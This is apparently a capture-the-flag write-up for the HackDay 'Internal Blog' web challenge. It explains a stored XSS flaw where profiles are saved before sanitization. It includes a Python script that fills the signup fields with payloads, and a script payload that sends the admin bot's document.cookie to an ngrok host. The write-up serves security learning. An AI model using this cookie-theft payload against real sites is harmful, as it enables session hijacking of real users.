HackDay - Internal Blog

1. Introduction
   • Description
2. Enumeration
   • Enumerating website
3. Exploitation
   • Popping alert
   • Stealing Admin Cookie
   • Getting flag

---

Introduction

Description

You’ve received an anonymous tip from the Airship Mail Delivery Company claiming that a seemingly legitimate website is actually a front for trading stolen submarine mechanical parts. Yeah, that’s oddly specific…
The localhost port is 3000. Take a closer look and see if you can uncover anything suspicious. The flag to find is the bot’s cookie.

We were the 5th team on 49 to solve this challenge.

Enumeration

Enumerating website

Let’s start by accessing the index page: Admin visits every posts

A part of the source is leaked

We can see an interesting code snippet in here !

await newProfile.save();
const isXSSdetected = sanitizeJson(profileData, res);

User is saved BEFORE XSS sanitization. So the server will say “XSS detected”, but will still create the user. Reading the index page, we learn that admin verifies every post. Let’s exploit this to steal the admin cookie .

Exploitation

Popping alert

Signup page

I started by writing a simple script that puts an XSS payload in every single field of the signup form (except for the Token cause it has validation):

from requests import Session
from sys import argv

URL = "http://challenges.hackday.fr:61394"
PAYLOAD = f"""<script>alert(999)</script>"""
TOKEN = ""

s = Session()

def main():
    # This token will by our "UUID", we get it from the page 
    TOKEN = s.get(URL+"/profile").text.split('<p id="token-value">')[1].split("</p>")[0]

    print(s.post(URL+"/profile", {
        "id": 'my_super_secret_username',
        "token": TOKEN,
        "description":f'{PAYLOAD}',
        "username":	f'{PAYLOAD}',
        "name":	f'{PAYLOAD}',
        "place": f'{PAYLOAD}',
    }).text)
    print("Token is: " + TOKEN)

if __name__ == "__main__":
    main()

Launch the registration script

The server responds with “XSS Detected”, but the user was still created. To be sure, we can try to access the profile page using the “UUID” of the newly created user:

• http://challenges.hackday.fr:61394/user?token=aebcffcb-fcaf-4028-a409-4e9b4d13ab8f XSS !!!

Stealing admin cookie

To steal the admin cookie, we have to:

• Create a user with a malicious XSS payload
• Create a post as this user

Admin will look at the newly created post, triggering the XSS and leaking his cookie.

I’ll use my own tool, xsserve, to spawn a publicly accessible HTTP server.
Launch XSServe, create the user with malicious XSS payload

We just have to modify the PAYLOAD = line in the previous script, and put this XSS payload before launching it:

# Simple XSS payload, I just use ` instead of " or ' cause quotes are escaped
PAYLOAD = f"""
<script>
window.location.href = `http://2.tcp.eu.ngrok:12812/?cookie=` + document.cookie
</script>"""

Finally, we create a post as this user: Creating a post as the db62c92f… user

We can see our post below on the index page:

Getting flag

After a few minutes:

HACKDAY{0rd3R_M4tteRs_In_Ur_C0d3!!!!}